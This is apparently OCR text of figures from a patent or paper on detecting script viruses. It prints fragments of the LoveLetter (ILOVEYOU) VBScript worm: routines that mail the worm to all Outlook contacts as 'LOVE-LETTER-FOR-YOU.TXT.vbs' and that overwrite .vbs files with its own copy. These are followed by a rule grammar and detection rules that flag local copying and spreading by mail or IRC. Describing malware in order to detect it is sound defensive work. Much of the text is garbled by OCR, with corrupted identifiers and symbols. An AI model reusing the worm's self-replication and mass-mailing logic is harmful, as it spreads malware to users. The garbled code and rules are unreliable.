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FIG. 2 



G«tN«me$p«€« 

AddrastUst* 

Craataltam 

Addr«f*Entr>%t 

Aiucfimant* 



set out - WScriptXfeateGDjectrOuttcok.ADDiiceUor'') 
set mapt » out j^tf*ains®g»acag ) 




for ctfhsts * 1 to m api-g^||Pig.Count 
set a * mapi. ^ft«^Mctr iiSts) 
for ctrentries • 1 to a. iAd^sgoUtesI 

sat ma;e* outjCtaataitan^O) 
mate. Recipients. Add (malead) 
mete. Subject » ^LOVeYOU* 

mate. Body » vbcrti & "kinoly check the attached LOV£L£TT£R coming from me." 
maie Pfeh^ ^AddC^LOVe-ieTTER'FCR-VOU.TXT.vbs'? 

next 
next 
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Set fso « CfeateObiect{ ,, Scripti^o.FiteSystem<^)ject ,, } 
set file » tso.OpentexlFiletWSaipt.ScfiptFultnameJ) 
vbscopy = file.ReadAU 
file. close 
foldeFlistCCW) 

sub fo!dertist{<oidef5pec) 
dim f, fl. si 

set f « fso.GeiFcldef(folderspec) 
set sf * f .SubFofders 
for each M in sf 

tnfectfUes<f i .path) 

folderlisKM.path) 
next 
end sub 



sub infectfiies(foiderspec) 
dim f. ft. fc. ap 

set f * fso.GetFoldefffolderspec} 
set fc * f.Files 
for each f 1 in fc 
if fso.GetExtensionName(fl.path) = "Vbs" then 
set apHso.OpenTextFile(ft path.2.true) 
ap.wriie vbscopy 
ap.close 
end if 
next 
end sub 
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Set [f sol - CreateObJectrScrlpHng.FlleSystemObiecO 
Set {J[rftvs{ern ^Tsd oetSpectalFolder (1 ) 
Set@ «rf8dGetnie(WSorlpt.ScflptFullName) 

setfoUg* WScriptXreateOb]«ct{"C>u«>pk.Appllcatlorf) 
set Imalel =[ou5. Create I tem(O) 

[?^ Attatchment8.Add(^gY||fl m&"WLQVE-LETTER-FOR-YOU.TXT t VBS1 ) 
Imalejsend 
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<Match_Rule> 


<match_ruldjd> <pattern> 


<pattern> 


::= { <variable> ! <atring> S **' J <char> >,♦ 


<RelationJlule> 


= <relation_rule.Jd> *:* [ <precond> ] [ <cond> ] <action> 


<cond> 


:: = "cond* <rule.variable> [ *~* J *<* ] <rule_variable> 


<precond> 


::= 'precorid* <relation_ruleJd> { V <relationjruleJd> } 


<action> 


'action* [ <assignment> 1 alert ]|, 


<assignment> J 


:= <variable> *=* <rule_variable> 


<rule_variable> 


:=.«relation_ruleJd>*/<variable» i «match.rulejd>*. *<variable» 


<variable> : 


:= *$'<diglt> 


<re 1 at i on_ru 1 e_ i d> 


:= *R"t<digit> ! <alpha>] 


<oatch.ru I e_id> 


:= 'M*[<digtt> I <alpha>] 
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ML1 s Sl.copyfile vrscript.scriptfullnaae, $2 [, *] 
RLOCAL : precond ML1 

action $1 = MLi,$2 

Alert local copy 



MAI : $1 . Attachments, Add $2 
RATTACH : cond RLOCAL. $1 MAI, $2 

action $1 = MA1,$1 
MSI : $l.Send 

RSEND : cond RATTACH. $1 == MS1.$1 
action Alert spread by Mail 



MM : * send Snick $1 
RIRC : cond RLOCAL. $1 < Mil. $1 
action Alert spread by, IRC 
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STATIC ANALYSIS^ 



RELATION 
ANALYSIS PROCESS 
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